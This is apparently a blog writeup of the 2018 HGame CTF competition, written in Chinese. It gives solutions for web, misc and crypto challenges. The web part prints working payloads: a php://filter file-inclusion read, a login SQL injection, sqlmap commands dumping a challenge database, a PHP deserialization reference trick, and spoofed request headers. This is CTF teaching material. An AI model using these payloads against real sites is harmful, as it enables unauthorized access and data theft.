HGame部分writeup

  1. 1. Web
    1. 1.1. Level - week1
      1. 1.1.1. Are you from Europe?
      2. 1.1.2. special number
      3. 1.1.3. can u find me?
      4. 1.1.4. tell me what you want
      5. 1.1.5. 我们不一样
    2. 1.2. Level - week2
      1. 1.2.1. Random?
      2. 1.2.2. 草莓社区-2
      3. 1.2.3. 草莓社区-1
      4. 1.2.4. xss-1 & xss-2
      5. 1.2.5. 最简单的sql题
    3. 1.3. Level - week3
      1. 1.3.1. 正常的SQLi
      2. 1.3.2. 送分的SQLi
  2. 2. Misc
    1. 2.1. Level - week1
      1. 2.1.1. 白菜1
      2. 2.1.2. 白菜2
      3. 2.1.3. pacp1
  3. 3. Crypto
    1. 3.1. Level - week1
      1. 3.1.1. easy Caesar
      2. 3.1.2. Hill
      3. 3.1.3. Polybius
      4. 3.1.4. confusion
      5. 3.1.5. baby step

由于水平有限,就写写自己做出来的题目。

Web

Level - week1

这部分还是比较简单的说

Are you from Europe?

进去一看,呀,竟然是抽SSR,看来我们这种非酋应该是没什么手气了吧。

直接看源代码,发现最后有

1
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('w p(){b a=l("8!k,j 8 o 1 m?");5(!$("#4").7()&&!$("#9").7()){2("i。");f}b 1="";1+="";1+="";1+="";1+="y";1+="{";1+="g";1+="h";1+="3";1+="6";1+="v";1+="h";1+="0";1+="s";1+="e";1+="u";1+="6";1+="0";1+="n";1+="r";1+="!";1+="}";5(a){$("#4").d();$("#9").d();2("t。1: "+1)}q{2("x。")}}',35,35,'|flag|alert||serv5|if|_|html|SSR|craft5|buy|var||remove||return|T||你根本不是欧洲人|你愿意献祭你全部的|欧洲人|confirm|吗||来获取|soHappy|else|E||兑换成功|N|C|function|你失去了唯一的机会|hgame'.split('|'),0,{}))

一看就是js混淆,直接丢去解密

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function soHappy() {
var buy = confirm("SSR!欧洲人,你愿意献祭你全部的 SSR 来获取 flag 吗?");
if (!$("#serv5").html() && !$("#craft5").html()) {
alert("你根本不是欧洲人。");
return
}
var flag = "";
flag += "";
flag += "";
flag += "";
flag += "hgame";
flag += "{";
flag += "T";
flag += "h";
flag += "3";
flag += "_";
flag += "C";
flag += "h";
flag += "0";
flag += "s";
flag += "e";
flag += "N";
flag += "_";
flag += "0";
flag += "n";
flag += "E";
flag += "!";
flag += "}";
if (buy) {
$("#serv5").remove();
$("#craft5").remove();
alert("兑换成功。flag: " + flag)
} else {
alert("你失去了唯一的机会。")
}
}

得到flag

special number

这题一开始我还没做出来233333,果然自己还是太菜了。
题目直接给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
include_once("flag.php");
if(isset($_GET['key'])){
$pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{7,}$/ ';
$key = $_GET['key'];
if(preg_match($pattern,$key)===0){
echo "格式错误";
}else{
$lock="******************";
$b = json_decode($key);
if($b==$lock)
echo $flag;
else
echo "this is no special number";
}
}

这题便是一个php弱相等的题,这个正则就是一串数字跟字母
于是便想到了比较经典的0e
试了一下key=0e11111111111,就过了23333.

can u find me?

题目很直接地提示了

1
only robot know where is the flag

于是robots.txt了解一下

1
2
User-agent: *
Disallow: /f1aaaaaaaag.php

这就没什么意思了。。

结果还没完,心里又一高兴

1
only admin can get flag

看到Cookie

1
Cookie:user=guest

js修改cookie了解一下,然后拿到flag

tell me what you want

根据提示输入flag

1
request method is error.I think POST is better

很明显的提示,然后改成POST发包,body为want=flag

得到Response:

1
2
https://www.wikiwand.com/en/X-Forwarded-For
only localhost can get flag

在修改请求头X-Forwarded-For127.0.0.1

得到Rep:

1
2
<br/>https://www.wikiwand.com/en/User_agent
<br/>please use Icefox/57.0

这个就不能直接修改ua为Icefox/57.0了,得带上普通浏览器的ua,随便拿个firefox的ua进行修改

1
2
3
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
改成
Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Icefox/57.0

得到Rep:

1
2
<br/>https://www.wikiwand.com/en/HTTP_referer
<br/>the requests should referer from www.google.com

再改请求头Referer:www.google.com

得到Rep:

1
2
<br/>https://www.wikiwand.com/en/HTTP_cookie
<br/>you are not admin

又得来修改cookie了…查看Cookie直接发现有个isadmin=0,那就改成1就好了,最后得到flag

我们不一样

1
2
3
4
5
6
7
8
9
10
include_once("flag.php");
if(isset($_POST['str1'])&&isset($_POST['str2'])){

if ($_POST['str1']!=$_POST['str2']&&strcmp($_POST['str1'],$_POST['str2'])==0) {
echo "flag is:".$flag;
exit();
} else{
echo "Something wrong..";
}
}

一看又是一题php弱相等,考察strcmp,只要其中一个为数组就好

1
str1=0&str2[]=0

得到flag

Level - week2

Random?

打开地址啥都没有,一开始没什么思路,后来经过大师傅提醒,才注意到题目描述中说了

1
random几次没准就随机到一样的值呢 PS:网不好vim线上改代码真是致命

既然是提到了vim改代码,那就可能会有源码泄露,vim的编辑临时文件为.random.php.swp

果然得到一个.swp文件,但是在windows下是看不了的。于是拖到了kali里面用vim恢复原始文件

.swp文件放到随便一个目录下,然后用

1
$ vim -r random.php

便可直接恢复random.php文件

看到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include ('flag.php');

class emmm
{
var $public;
var $secret;
}

if ($_GET['emmm']) {
$emmm = unserialize($_GET['emmm']);
if (!is_object($emmm)) {
die("error");
}
$emmm->public = random_int(0, 100000000);
$emmm->secret = random_int(0, 100000000);
if ($emmm->public == $emmm->secret) {
echo $flag;
}
}

#highlight_file(__FILE__);

发现还是一个反序列化的题,这题弄了挺久没弄出来,还是参考了一下其他小伙伴的做法

总之按照题目意思,就是得使得emmmpublicsecret相等,那就构造一个实例化对象,让他们的publicsecret相等就好了,注意一下相等时候要有&

1
2
3
$a = new emmm();
$a->public = &$a->secret;
echo serialize($a);

得到payload:

1
emmm=O:4:"emmm":2:{s:6:"public";N;s:6:"secret";R:2;}

拿到flag

草莓社区-2

不知道是不是题目的问题show_maopian.php?mao=2.jpg竟然不能显示图片…

然后发现竟然可以有/etc/passwd,但是没有拿到/etc/shadow,也就拿不到服务器

题目提示flag在../flag.php,又不能直接访问,那就用php伪协议试试

1
show_maopian.php?mao=php://filter/read=convert.base64-encode/resource=../flag.php

得到

1
PD9waHAKCSRmbGFnPSJoZ2FtZXshbTRvX3BpNG5fQ2hhT19oYW9fa2FuIX0iOwo=

解码便得到flag

草莓社区-1

也不知道出题人怎么想的,这题简单得多,但是顺序放在了2下面,这次是show_maopian.php?mao=1.jpgshow_maopian.php?mao=1.jpg都可以读到图片,那就根据题目提示直接试试读一下../flag.php,直接拿到flag…2333

xss-1 & xss-2

接下来的这两个题就没怎么去做了,而且题目要求:payload需要在chrome和firefox上都能使用,且不能有交互。感觉挺难的,就没花时间弄了

记录一下题目以后看看(虽然极有可能不会去看…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
xss-1

function charge(input) {
input = input.replace(/script/gi, '_');
trueinput = input.replace(/image/gi, '_');
trueinput = input.replace(/\(/, '_');

return '<article>' + input + '</article>';
}

xss-2

function charge(input) {
input = input.replace(/script/gi, '_');
input = input.replace(/img/gi, '_');
input = input.replace(/image/gi, '_');
input = input.replace(/\(/, '_');
input = input.replace(/\>/,'_');
return '<input value="' + input + '" type="text">';
}

最简单的sql题

还真是最简单的…

1
payload: username=admin%27+or+1%3D1+%23&pwd=1

Level - week3

正常的SQLi

这题我还没做出来,页面显示

1
2
因为出题人太懒了,所以现在没有任何功能
hello guest

提示也没那么明显,有判断guest,发现Cookie里有name=Z3Vlc3Q%3D; isadmin=0,那就改改,然后发现没什么用

没什么头绪就扫扫,然后发现有备份.bak文件,下载后发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
.....

$username = base64_decode($_COOKIE['name']);

.....

$sql = "select * from user where username = '{$username}'";
$re = mysqli_query($conn, $sql);
$rs = mysqli_fetch_array($re);

// echo $rs['flag'];
echo $username . '<br/>';
echo "因为出题人太懒了,所以现在没有任何功能";

.....

送分的SQLi

输入admin提示

1
2
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /home/hctfgame/week3/sqli2/index.php on line 8
Unknown column 'admin' in 'where clause'

自己手注还不是很厉害,还是用sqlmap吧23333(sqlmap真是太强大了orz)

既然有了mysql的报错,那就可以省掉判断数据库的步骤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql --dbs

available databases [3]:
[*] information_schema
[*] test
[*] week3_sqliiii2

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 --tables

Database: week3_sqliiii2
[2 tables]
+----------+
| f111aa4g |
| users |
+----------+

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g --columns

Database: week3_sqliiii2
Table: f111aa4g
[3 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| dajiangyoude | char(20) |
| f111aaaggg_w3 | char(40) |
| id | int(11) |
+---------------+----------+

$ sqlmap -u "http://118.25.18.223:10068/?id=1" --level 3 --dbms mysql -D week3_sqliiii2 -T f111aa4g -C "dajiangyoude,f111aaaggg_w3,id" --dump

Database: week3_sqliiii2
Table: f111aa4g
[1 entry]
+---------------+-----------------------------------+-------+
| dajiangyoude | f111aaaggg_w3 | id |
+---------------+-----------------------------------+-------+
| kan_wo_gan_ma | hgame{Th3_e4sist_sql_injeCti0n##} | 10086 |
+---------------+-----------------------------------+-------+

拿到flag

Misc

Level - week1

白菜1

题目提示LSB,那就去看看吧

根据CTF wiki的提示操作得到flag

白菜2

1
2
3
4
5
6
7
$ binwalk misc2.jpg 

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
1037199 0xFD38F Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 39, name: flag.txt
1037368 0xFD438 End of Zip archive

发现有zip

1
$ dd if=misc2.jpg of=misc2.rar bs=1 skip=1037199

直接dd提出rar得到里面的flag

pacp1

看到最后有一个GET /flag.php的请求。
Alt text
追踪一下即可得到flag

Crypto

Level - week1

easy Caesar

1
vuoas{Hvs_ei8qy_pf7kb_1l_xIadg_cjSf_o_Zo9m_rCu}

凯撒加密。没什么好说的

Hill

1
Not hard key9 17 6 5 Ciphertext:phnfetzhzzwz

懒得解了…

Polybius

1
FDXDGDADDG_FXXFAAXFAG_GDFXFFXFFXADXFDA_GDAD

根据题目,感觉像是ADFGVX密码。

1
orjtz_nebel_jnsented_jt

confusion

1
--/.-./.-../-/-.-/-..../-.-/-..-/-./...-/--../-..-/--.-/.--/-.../.../-./.-/..---/..-./.../..-/..---/--./--./-.../.../.--/....-/...../-.../.../.-../.-/--../..-./..-/-..../.../...-/.---/-.../-./-../.-/--../.../.-./..../..-/-..../--.-/-...-/-...-/-...-/-...-

摩斯电码,解得

1
MRLTK6KXNVZXQWBSNA2FSU2GGBSW45BSLAZFU6SVJBNDAZSRHU6Q====

base32再解得

1
dW5yWmsxX2h4YSF0ent2X2ZzUHZ0fQ==

base64再解得

1
unrZk1_hxa!tz{v_fsPvt}

rot13再解得

1
haeMx1_ukn!gm{i_sfCig}

最后用栅栏解得到flag

baby step

1
2
pow(0x1111111111,flag,0x976693344d) = 0x7ac21f64ed
结果转换成5字节可见字符


Article Author: Zeddy

Article Link: https://blog.zeddyu.info/2018/03/15/HGame%E9%83%A8%E5%88%86writeup/index.html

Copyright Notice: With the exception of the special statement at the beginning of the article, all articles can be reprinted in accordance with the CC BY 4.0 agreement with the author's permission.

几道题中的学习 博客自动化及一些坑

Comments